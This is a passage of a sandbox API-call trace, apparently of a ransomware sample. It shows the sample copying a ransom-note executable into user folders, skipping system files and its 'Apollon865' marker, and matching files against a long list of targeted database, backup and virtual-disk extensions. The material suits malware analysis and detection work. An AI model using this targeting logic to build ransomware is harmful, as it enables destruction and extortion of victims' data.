	[0040.528] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Links\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\favorites\\links\\how to back your files.exe"), bFailIfExists=1) returned 1
	[0040.544] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0040.544] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Links\\*", lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x3045adb0, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x3045adb0, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca150
	[0040.544] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0040.544] lstrcmpiW (lpString1=".", lpString2="Apollon865.txt.exe") returned -1
	[0040.544] lstrcpyW (in: lpString1=0x2d3e5ac, lpString2="desktop.ini" | out: lpString1="desktop.ini") returned="desktop.ini"
	[0040.544] lstrlenW (lpString="desktop.ini") returned 11
	[0040.544] lstrlenW (lpString="Apollon865") returned 10
	[0040.544] lstrcmpiW (lpString1="esktop.ini", lpString2="Apollon865") returned 1
	[0040.544] lstrcpyW (in: lpString1=0x2d3e5ac, lpString2="Suggested Sites.url" | out: lpString1="Suggested Sites.url") returned="Suggested Sites.url"
	[0040.544] lstrlenW (lpString="Suggested Sites.url") returned 19
	[0040.544] lstrlenW (lpString="Apollon865") returned 10
	[0040.544] lstrcmpiW (lpString1=" Sites.url", lpString2="Apollon865") returned -1
	[0040.544] lstrcpyW (in: lpString1=0x2d3e5ac, lpString2="Web Slice Gallery.url" | out: lpString1="Web Slice Gallery.url") returned="Web Slice Gallery.url"
	[0040.544] lstrlenW (lpString="Web Slice Gallery.url") returned 21
	[0040.544] lstrlenW (lpString="Apollon865") returned 10
	[0040.544] lstrcmpiW (lpString1="allery.url", lpString2="Apollon865") returned -1
	[0040.544] lstrcpynW (in: lpString1=0x2d3e550, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Downloads", iMaxLength=260 | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Downloads") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Downloads"
	[0040.545] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5bcac0 | out: hHeap=0x580000) returned 1
	[0040.545] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b7c28 | out: hHeap=0x580000) returned 1
	[0040.545] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Downloads") returned 39
	[0040.545] lstrcatW (in: lpString1="", lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Downloads" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Downloads") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Downloads"
	[0040.545] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0040.545] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Downloads\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\downloads\\how to back your files.exe"), bFailIfExists=1) returned 1
	[0040.549] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0040.549] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Downloads\\*", lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x30480f10, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x30480f10, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca150
	[0040.549] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0040.549] lstrcmpiW (lpString1=".", lpString2="Apollon865.txt.exe") returned -1
	[0040.550] lstrcpyW (in: lpString1=0x2d3e5a0, lpString2="desktop.ini" | out: lpString1="desktop.ini") returned="desktop.ini"
	[0040.550] lstrlenW (lpString="desktop.ini") returned 11
	[0040.550] lstrlenW (lpString="Apollon865") returned 10
	[0040.550] lstrcmpiW (lpString1="esktop.ini", lpString2="Apollon865") returned 1
	[0040.550] lstrcpynW (in: lpString1=0x2d3e550, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents", iMaxLength=260 | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents"
	[0040.550] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5bca68 | out: hHeap=0x580000) returned 1
	[0040.550] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b7aa8 | out: hHeap=0x580000) returned 1
	[0040.550] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents") returned 39
	[0040.550] lstrcatW (in: lpString1="", lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents"
	[0040.550] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0040.550] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\how to back your files.exe"), bFailIfExists=1) returned 0
	[0040.550] CreateFileW (lpFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x14c
	[0040.550] GetLastError () returned 0x0
	[0040.550] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x1dc00) returned 0x5cafb8
	[0040.550] ReadFile (in: hFile=0x14c, lpBuffer=0x5cafb8, nNumberOfBytesToRead=0x1dc00, lpNumberOfBytesRead=0x2d3e22c, lpOverlapped=0x0 | out: lpBuffer=0x5cafb8*, lpNumberOfBytesRead=0x2d3e22c*=0x1dc00, lpOverlapped=0x0) returned 1
	[0040.551] CloseHandle (hObject=0x14c) returned 1
	[0040.551] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5cafb8 | out: hHeap=0x580000) returned 1
	[0040.551] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0040.551] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\*", lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x302ddff0, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x302ddff0, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca150
	[0040.551] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0040.551] lstrcmpiW (lpString1=".", lpString2="Apollon865.txt.exe") returned -1
	[0040.551] lstrcmpiW (lpString1=".", lpString2=".") returned 0
	[0040.551] FindNextFileW (in: hFindFile=0x5ca150, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x302ddff0, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x302ddff0, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0040.551] lstrcmpiW (lpString1="..", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0040.551] lstrcmpiW (lpString1="..", lpString2="Apollon865.txt.exe") returned -1
	[0040.551] lstrcmpiW (lpString1="..", lpString2=".") returned 1
	[0040.551] lstrcmpiW (lpString1="..", lpString2="..") returned 0
	[0040.551] FindNextFileW (in: hFindFile=0x5ca150, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf18b4a60, ftCreationTime.dwHighDateTime=0x1d4cebf, ftLastAccessTime.dwLowDateTime=0x2a8050a0, ftLastAccessTime.dwHighDateTime=0x1d4cff0, ftLastWriteTime.dwLowDateTime=0x2a8050a0, ftLastWriteTime.dwHighDateTime=0x1d4cff0, nFileSizeHigh=0x0, nFileSizeLow=0x5a30, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="2TdZD.pptx", cAlternateFileName="2TDZD~1.PPT")) returned 1
	[0040.551] lstrcmpiW (lpString1="2TdZD.pptx", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0040.551] lstrcmpiW (lpString1="2TdZD.pptx", lpString2="Apollon865.txt.exe") returned -1
	[0040.551] lstrcmpiW (lpString1="2TdZD.pptx", lpString2=".") returned 1
	[0040.551] lstrcmpiW (lpString1="2TdZD.pptx", lpString2="..") returned 1
	[0040.551] lstrcmpiW (lpString1="2TdZD.pptx", lpString2="windows") returned -1
	[0040.551] lstrcmpiW (lpString1="2TdZD.pptx", lpString2="bootmgr") returned -1
	[0040.551] lstrcmpiW (lpString1="2TdZD.pptx", lpString2="temp") returned -1
	[0040.551] lstrcmpiW (lpString1="2TdZD.pptx", lpString2="pagefile.sys") returned -1
	[0040.551] lstrcmpiW (lpString1="2TdZD.pptx", lpString2="boot") returned -1
	[0040.551] lstrcmpiW (lpString1="2TdZD.pptx", lpString2="ids.txt") returned -1
	[0040.552] lstrcmpiW (lpString1="2TdZD.pptx", lpString2="ntuser.dat") returned -1
	[0040.552] lstrcmpiW (lpString1="2TdZD.pptx", lpString2="perflogs") returned -1
	[0040.552] lstrcmpiW (lpString1="2TdZD.pptx", lpString2="MSBuild") returned -1
	[0040.552] lstrlenW (lpString="2TdZD.pptx") returned 10
	[0040.552] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\*") returned 41
	[0040.552] lstrcpyW (in: lpString1=0x2d3e5a0, lpString2="2TdZD.pptx" | out: lpString1="2TdZD.pptx") returned="2TdZD.pptx"
	[0040.552] lstrlenW (lpString="2TdZD.pptx") returned 10
	[0040.552] lstrlenW (lpString="Apollon865") returned 10
	[0040.552] lstrlenW (lpString=".dll") returned 4
	[0040.552] lstrcmpiW (lpString1="2TdZD.pptx", lpString2=".dll") returned 1
	[0040.552] lstrlenW (lpString=".lnk") returned 4
	[0040.552] lstrcmpiW (lpString1="2TdZD.pptx", lpString2=".lnk") returned 1
	[0040.552] lstrlenW (lpString=".ini") returned 4
	[0040.552] lstrcmpiW (lpString1="2TdZD.pptx", lpString2=".ini") returned 1
	[0040.552] lstrlenW (lpString=".sys") returned 4
	[0040.552] lstrcmpiW (lpString1="2TdZD.pptx", lpString2=".sys") returned 1
	[0040.552] lstrlenW (lpString="2TdZD.pptx") returned 10
	[0040.552] lstrlenW (lpString="bak") returned 3
	[0040.552] lstrcmpiW (lpString1="ptx", lpString2="bak") returned 1
	[0040.552] lstrlenW (lpString="ba_") returned 3
	[0040.552] lstrcmpiW (lpString1="ptx", lpString2="ba_") returned 1
	[0040.552] lstrlenW (lpString="dbb") returned 3
	[0040.552] lstrcmpiW (lpString1="ptx", lpString2="dbb") returned 1
	[0040.552] lstrlenW (lpString="vmdk") returned 4
	[0040.552] lstrcmpiW (lpString1="pptx", lpString2="vmdk") returned -1
	[0040.552] lstrlenW (lpString="rar") returned 3
	[0040.552] lstrcmpiW (lpString1="ptx", lpString2="rar") returned -1
	[0040.552] lstrlenW (lpString="zip") returned 3
	[0040.552] lstrcmpiW (lpString1="ptx", lpString2="zip") returned -1
	[0040.552] lstrlenW (lpString="tgz") returned 3
	[0040.552] lstrcmpiW (lpString1="ptx", lpString2="tgz") returned -1
	[0040.552] lstrlenW (lpString="vbox") returned 4
	[0040.552] lstrcmpiW (lpString1="pptx", lpString2="vbox") returned -1
	[0040.552] lstrlenW (lpString="vdi") returned 3
	[0040.552] lstrcmpiW (lpString1="ptx", lpString2="vdi") returned -1
	[0040.552] lstrlenW (lpString="vhd") returned 3
	[0040.552] lstrcmpiW (lpString1="ptx", lpString2="vhd") returned -1
	[0040.552] lstrlenW (lpString="vhdx") returned 4
	[0040.553] lstrcmpiW (lpString1="pptx", lpString2="vhdx") returned -1
	[0040.553] lstrlenW (lpString="avhd") returned 4
	[0040.553] lstrcmpiW (lpString1="pptx", lpString2="avhd") returned 1
	[0040.553] lstrlenW (lpString="db") returned 2
	[0040.553] lstrcmpiW (lpString1="tx", lpString2="db") returned 1
	[0040.553] lstrlenW (lpString="db2") returned 3
	[0040.553] lstrcmpiW (lpString1="ptx", lpString2="db2") returned 1
	[0040.553] lstrlenW (lpString="db3") returned 3
	[0040.553] lstrcmpiW (lpString1="ptx", lpString2="db3") returned 1
	[0040.553] lstrlenW (lpString="dbf") returned 3
	[0040.553] lstrcmpiW (lpString1="ptx", lpString2="dbf") returned 1
	[0040.553] lstrlenW (lpString="mdf") returned 3
	[0040.553] lstrcmpiW (lpString1="ptx", lpString2="mdf") returned 1
	[0040.553] lstrlenW (lpString="mdb") returned 3
	[0040.553] lstrcmpiW (lpString1="ptx", lpString2="mdb") returned 1
	[0040.553] lstrlenW (lpString="sql") returned 3
	[0040.553] lstrcmpiW (lpString1="ptx", lpString2="sql") returned -1
	[0040.553] lstrlenW (lpString="sqlite") returned 6
	[0040.553] lstrcmpiW (lpString1="D.pptx", lpString2="sqlite") returned -1
	[0040.553] lstrlenW (lpString="sqlite3") returned 7
	[0040.553] lstrcmpiW (lpString1="ZD.pptx", lpString2="sqlite3") returned 1
	[0040.553] lstrlenW (lpString="sqlitedb") returned 8
	[0040.553] lstrcmpiW (lpString1="dZD.pptx", lpString2="sqlitedb") returned -1
	[0040.553] lstrlenW (lpString="xml") returned 3
	[0040.553] lstrcmpiW (lpString1="ptx", lpString2="xml") returned -1
	[0040.553] lstrlenW (lpString="$er") returned 3
	[0040.553] lstrcmpiW (lpString1="ptx", lpString2="$er") returned 1
	[0040.553] lstrlenW (lpString="4dd") returned 3
	[0040.553] lstrcmpiW (lpString1="ptx", lpString2="4dd") returned 1
	[0040.553] lstrlenW (lpString="4dl") returned 3
	[0040.553] lstrcmpiW (lpString1="ptx", lpString2="4dl") returned 1
	[0040.553] lstrlenW (lpString="^^^") returned 3
	[0040.553] lstrcmpiW (lpString1="ptx", lpString2="^^^") returned 1
	[0040.553] lstrlenW (lpString="abs") returned 3
	[0040.553] lstrcmpiW (lpString1="ptx", lpString2="abs") returned 1
	[0040.553] lstrlenW (lpString="abx") returned 3
	[0040.553] lstrcmpiW (lpString1="ptx", lpString2="abx") returned 1
	[0040.553] lstrlenW (lpString="accdb") returned 5
	[0040.553] lstrcmpiW (lpString1=".pptx", lpString2="accdb") returned -1
	[0040.554] lstrlenW (lpString="accdc") returned 5
	[0040.554] lstrcmpiW (lpString1=".pptx", lpString2="accdc") returned -1
	[0040.554] lstrlenW (lpString="accde") returned 5
	[0040.554] lstrcmpiW (lpString1=".pptx", lpString2="accde") returned -1
	[0040.554] lstrlenW (lpString="accdr") returned 5
	[0040.554] lstrcmpiW (lpString1=".pptx", lpString2="accdr") returned -1
	[0040.554] lstrlenW (lpString="accdt") returned 5
	[0040.554] lstrcmpiW (lpString1=".pptx", lpString2="accdt") returned -1
	[0040.554] lstrlenW (lpString="accdw") returned 5
	[0040.554] lstrcmpiW (lpString1=".pptx", lpString2="accdw") returned -1
	[0040.554] lstrlenW (lpString="accft") returned 5
	[0040.554] lstrcmpiW (lpString1=".pptx", lpString2="accft") returned -1
	[0040.554] lstrlenW (lpString="adb") returned 3
	[0040.554] lstrcmpiW (lpString1="ptx", lpString2="adb") returned 1
	[0040.554] lstrlenW (lpString="adb") returned 3
	[0040.554] lstrcmpiW (lpString1="ptx", lpString2="adb") returned 1
	[0040.554] lstrlenW (lpString="ade") returned 3
	[0040.554] lstrcmpiW (lpString1="ptx", lpString2="ade") returned 1
	[0040.554] lstrlenW (lpString="adf") returned 3
	[0040.554] lstrcmpiW (lpString1="ptx", lpString2="adf") returned 1
	[0040.554] lstrlenW (lpString="adn") returned 3
	[0040.554] lstrcmpiW (lpString1="ptx", lpString2="adn") returned 1
	[0040.554] lstrlenW (lpString="adp") returned 3
	[0040.554] lstrcmpiW (lpString1="ptx", lpString2="adp") returned 1
	[0040.554] lstrlenW (lpString="alf") returned 3
	[0040.554] lstrcmpiW (lpString1="ptx", lpString2="alf") returned 1
	[0040.554] lstrlenW (lpString="ask") returned 3
	[0040.554] lstrcmpiW (lpString1="ptx", lpString2="ask") returned 1
	[0040.554] lstrlenW (lpString="btr") returned 3
	[0040.554] lstrcmpiW (lpString1="ptx", lpString2="btr") returned 1
	[0040.554] lstrlenW (lpString="cat") returned 3
	[0040.554] lstrcmpiW (lpString1="ptx", lpString2="cat") returned 1
	[0040.554] lstrlenW (lpString="cdb") returned 3
	[0040.554] lstrcmpiW (lpString1="ptx", lpString2="cdb") returned 1
	[0040.554] lstrlenW (lpString="ckp") returned 3
	[0040.554] lstrcmpiW (lpString1="ptx", lpString2="ckp") returned 1
	[0040.554] lstrlenW (lpString="cma") returned 3
	[0040.555] lstrcmpiW (lpString1="ptx", lpString2="cma") returned 1
	[0040.555] lstrlenW (lpString="cpd") returned 3
	[0040.555] lstrcmpiW (lpString1="ptx", lpString2="cpd") returned 1
	[0040.555] lstrlenW (lpString="dacpac") returned 6
	[0040.555] lstrcmpiW (lpString1="D.pptx", lpString2="dacpac") returned -1
	[0040.555] lstrlenW (lpString="dad") returned 3
	[0040.555] lstrcmpiW (lpString1="ptx", lpString2="dad") returned 1
	[0040.555] lstrlenW (lpString="dadiagrams") returned 10
	[0040.555] lstrlenW (lpString="daschema") returned 8
	[0040.555] lstrcmpiW (lpString1="dZD.pptx", lpString2="daschema") returned 1
	[0040.555] lstrlenW (lpString="db-journal") returned 10
	[0040.555] lstrlenW (lpString="db-shm") returned 6
	[0040.555] lstrcmpiW (lpString1="D.pptx", lpString2="db-shm") returned -1
	[0040.555] lstrlenW (lpString="db-wal") returned 6
	[0040.555] lstrcmpiW (lpString1="D.pptx", lpString2="db-wal") returned -1
	[0040.555] lstrlenW (lpString="dbc") returned 3
	[0040.555] lstrcmpiW (lpString1="ptx", lpString2="dbc") returned 1
	[0040.555] lstrlenW (lpString="dbs") returned 3
	[0040.555] lstrcmpiW (lpString1="ptx", lpString2="dbs") returned 1
	[0040.555] lstrlenW (lpString="dbt") returned 3
	[0040.555] lstrcmpiW (lpString1="ptx", lpString2="dbt") returned 1
	[0040.555] lstrlenW (lpString="dbv") returned 3
	[0040.555] lstrcmpiW (lpString1="ptx", lpString2="dbv") returned 1
	[0040.555] lstrlenW (lpString="dbx") returned 3
	[0040.555] lstrcmpiW (lpString1="ptx", lpString2="dbx") returned 1
	[0040.555] lstrlenW (lpString="dcb") returned 3
	[0040.555] lstrcmpiW (lpString1="ptx", lpString2="dcb") returned 1
	[0040.555] lstrlenW (lpString="dct") returned 3
	[0040.555] lstrcmpiW (lpString1="ptx", lpString2="dct") returned 1
	[0040.555] lstrlenW (lpString="dcx") returned 3
	[0040.555] lstrcmpiW (lpString1="ptx", lpString2="dcx") returned 1
	[0040.555] lstrlenW (lpString="ddl") returned 3
	[0040.555] lstrcmpiW (lpString1="ptx", lpString2="ddl") returned 1
	[0040.555] lstrlenW (lpString="dlis") returned 4
	[0040.555] lstrcmpiW (lpString1="pptx", lpString2="dlis") returned 1
	[0040.555] lstrlenW (lpString="dp1") returned 3
	[0040.555] lstrcmpiW (lpString1="ptx", lpString2="dp1") returned 1
	[0040.556] lstrlenW (lpString="dqy") returned 3
	[0040.556] lstrcmpiW (lpString1="ptx", lpString2="dqy") returned 1
	[0040.556] lstrlenW (lpString="dsk") returned 3
	[0040.556] lstrcmpiW (lpString1="ptx", lpString2="dsk") returned 1
	[0040.556] lstrlenW (lpString="dsn") returned 3
	[0040.556] lstrcmpiW (lpString1="ptx", lpString2="dsn") returned 1
	[0040.556] lstrlenW (lpString="dtsx") returned 4
	[0040.556] lstrcmpiW (lpString1="pptx", lpString2="dtsx") returned 1
	[0040.556] lstrlenW (lpString="dxl") returned 3
	[0040.556] lstrcmpiW (lpString1="ptx", lpString2="dxl") returned 1
	[0040.556] lstrlenW (lpString="eco") returned 3
	[0040.556] lstrcmpiW (lpString1="ptx", lpString2="eco") returned 1
	[0040.556] lstrlenW (lpString="ecx") returned 3
	[0040.556] lstrcmpiW (lpString1="ptx", lpString2="ecx") returned 1
	[0040.556] lstrlenW (lpString="edb") returned 3
	[0040.556] lstrcmpiW (lpString1="ptx", lpString2="edb") returned 1
	[0040.556] lstrlenW (lpString="epim") returned 4
	[0040.556] lstrcmpiW (lpString1="pptx", lpString2="epim") returned 1
	[0040.556] lstrlenW (lpString="fcd") returned 3
	[0040.556] lstrcmpiW (lpString1="ptx", lpString2="fcd") returned 1
	[0040.556] lstrlenW (lpString="fdb") returned 3
	[0040.556] lstrcmpiW (lpString1="ptx", lpString2="fdb") returned 1
	[0040.556] lstrlenW (lpString="fic") returned 3
	[0040.556] lstrcmpiW (lpString1="ptx", lpString2="fic") returned 1
	[0040.556] lstrlenW (lpString="flexolibrary") returned 12
	[0040.556] lstrlenW (lpString="fm5") returned 3
	[0040.556] lstrcmpiW (lpString1="ptx", lpString2="fm5") returned 1
	[0040.556] lstrlenW (lpString="fmp") returned 3
	[0040.556] lstrcmpiW (lpString1="ptx", lpString2="fmp") returned 1
	[0040.556] lstrlenW (lpString="fmp12") returned 5
	[0040.556] lstrcmpiW (lpString1=".pptx", lpString2="fmp12") returned -1
	[0040.556] lstrlenW (lpString="fmpsl") returned 5
	[0040.556] lstrcmpiW (lpString1=".pptx", lpString2="fmpsl") returned -1
	[0040.556] lstrlenW (lpString="fol") returned 3
	[0040.556] lstrcmpiW (lpString1="ptx", lpString2="fol") returned 1
	[0040.556] lstrlenW (lpString="fp3") returned 3
	[0040.556] lstrcmpiW (lpString1="ptx", lpString2="fp3") returned 1
	[0040.556] lstrlenW (lpString="fp4") returned 3
	[0040.557] lstrcmpiW (lpString1="ptx", lpString2="fp4") returned 1
	[0040.557] lstrlenW (lpString="fp5") returned 3
	[0040.557] lstrcmpiW (lpString1="ptx", lpString2="fp5") returned 1
	[0040.557] lstrlenW (lpString="fp7") returned 3
	[0040.557] lstrcmpiW (lpString1="ptx", lpString2="fp7") returned 1
	[0040.557] lstrlenW (lpString="fpt") returned 3
	[0040.557] lstrcmpiW (lpString1="ptx", lpString2="fpt") returned 1
	[0040.557] lstrlenW (lpString="frm") returned 3
	[0040.557] lstrcmpiW (lpString1="ptx", lpString2="frm") returned 1
	[0040.557] lstrlenW (lpString="gdb") returned 3
	[0040.557] lstrcmpiW (lpString1="ptx", lpString2="gdb") returned 1
	[0040.557] lstrlenW (lpString="gdb") returned 3
	[0040.557] lstrcmpiW (lpString1="ptx", lpString2="gdb") returned 1
	[0040.557] lstrlenW (lpString="grdb") returned 4
	[0040.557] lstrcmpiW (lpString1="pptx", lpString2="grdb") returned 1
	[0040.557] lstrlenW (lpString="gwi") returned 3
	[0040.557] lstrcmpiW (lpString1="ptx", lpString2="gwi") returned 1
	[0040.557] lstrlenW (lpString="hdb") returned 3
	[0040.557] lstrcmpiW (lpString1="ptx", lpString2="hdb") returned 1
	[0040.557] lstrlenW (lpString="his") returned 3
	[0040.557] lstrcmpiW (lpString1="ptx", lpString2="his") returned 1
	[0040.557] lstrlenW (lpString="ib") returned 2
	[0040.557] lstrcmpiW (lpString1="tx", lpString2="ib") returned 1
	[0040.557] lstrlenW (lpString="idb") returned 3
	[0040.557] lstrcmpiW (lpString1="ptx", lpString2="idb") returned 1
	[0040.557] lstrlenW (lpString="ihx") returned 3
	[0040.557] lstrcmpiW (lpString1="ptx", lpString2="ihx") returned 1
	[0040.557] lstrlenW (lpString="itdb") returned 4
	[0040.557] lstrcmpiW (lpString1="pptx", lpString2="itdb") returned 1
	[0040.557] lstrlenW (lpString="itw") returned 3
	[0040.557] lstrcmpiW (lpString1="ptx", lpString2="itw") returned 1
	[0040.557] lstrlenW (lpString="jet") returned 3
	[0040.557] lstrcmpiW (lpString1="ptx", lpString2="jet") returned 1
	[0040.557] lstrlenW (lpString="jtx") returned 3
	[0040.557] lstrcmpiW (lpString1="ptx", lpString2="jtx") returned 1
	[0040.557] lstrlenW (lpString="kdb") returned 3
	[0040.558] lstrcmpiW (lpString1="ptx", lpString2="kdb") returned 1
	[0040.558] lstrlenW (lpString="kexi") returned 4
	[0040.558] lstrcmpiW (lpString1="pptx", lpString2="kexi") returned 1
	[0040.558] lstrlenW (lpString="kexic") returned 5
	[0040.558] lstrcmpiW (lpString1=".pptx", lpString2="kexic") returned -1
	[0040.558] lstrlenW (lpString="kexis") returned 5
	[0040.558] lstrcmpiW (lpString1=".pptx", lpString2="kexis") returned -1
	[0040.558] lstrlenW (lpString="lgc") returned 3
	[0040.558] lstrcmpiW (lpString1="ptx", lpString2="lgc") returned 1
	[0040.558] lstrlenW (lpString="lwx") returned 3
	[0040.558] lstrcmpiW (lpString1="ptx", lpString2="lwx") returned 1
	[0040.558] lstrlenW (lpString="maf") returned 3
	[0040.558] lstrcmpiW (lpString1="ptx", lpString2="maf") returned 1
	[0040.558] lstrlenW (lpString="maq") returned 3
	[0040.558] lstrcmpiW (lpString1="ptx", lpString2="maq") returned 1
	[0040.558] lstrlenW (lpString="mar") returned 3
	[0040.558] lstrcmpiW (lpString1="ptx", lpString2="mar") returned 1
	[0040.558] lstrlenW (lpString="marshal") returned 7
	[0040.558] lstrcmpiW (lpString1="ZD.pptx", lpString2="marshal") returned 1
	[0040.558] lstrlenW (lpString="mas") returned 3
	[0040.558] lstrcmpiW (lpString1="ptx", lpString2="mas") returned 1
	[0040.558] lstrlenW (lpString="mav") returned 3
	[0040.558] lstrcmpiW (lpString1="ptx", lpString2="mav") returned 1
	[0040.558] lstrlenW (lpString="maw") returned 3
	[0040.558] lstrcmpiW (lpString1="ptx", lpString2="maw") returned 1
	[0040.558] lstrlenW (lpString="mdbhtml") returned 7
	[0040.558] lstrcmpiW (lpString1="ZD.pptx", lpString2="mdbhtml") returned 1
	[0040.558] lstrlenW (lpString="mdn") returned 3
	[0040.558] lstrcmpiW (lpString1="ptx", lpString2="mdn") returned 1
	[0040.558] lstrlenW (lpString="mdt") returned 3
	[0040.558] lstrcmpiW (lpString1="ptx", lpString2="mdt") returned 1
	[0040.558] lstrlenW (lpString="mfd") returned 3
	[0040.558] lstrcmpiW (lpString1="ptx", lpString2="mfd") returned 1
	[0040.558] lstrlenW (lpString="mpd") returned 3
	[0040.558] lstrcmpiW (lpString1="ptx", lpString2="mpd") returned 1
	[0040.558] lstrlenW (lpString="mrg") returned 3
	[0040.558] lstrcmpiW (lpString1="ptx", lpString2="mrg") returned 1
	[0040.559] lstrlenW (lpString="mud") returned 3
	[0040.559] lstrcmpiW (lpString1="ptx", lpString2="mud") returned 1
	[0040.559] lstrlenW (lpString="mwb") returned 3
	[0040.559] lstrcmpiW (lpString1="ptx", lpString2="mwb") returned 1
	[0040.559] lstrlenW (lpString="myd") returned 3
	[0040.559] lstrcmpiW (lpString1="ptx", lpString2="myd") returned 1
	[0040.559] lstrlenW (lpString="ndf") returned 3
	[0040.559] lstrcmpiW (lpString1="ptx", lpString2="ndf") returned 1
	[0040.559] lstrlenW (lpString="nnt") returned 3
	[0040.559] lstrcmpiW (lpString1="ptx", lpString2="nnt") returned 1
	[0040.559] lstrlenW (lpString="nrmlib") returned 6
	[0040.559] lstrcmpiW (lpString1="D.pptx", lpString2="nrmlib") returned -1
	[0040.559] lstrlenW (lpString="ns2") returned 3
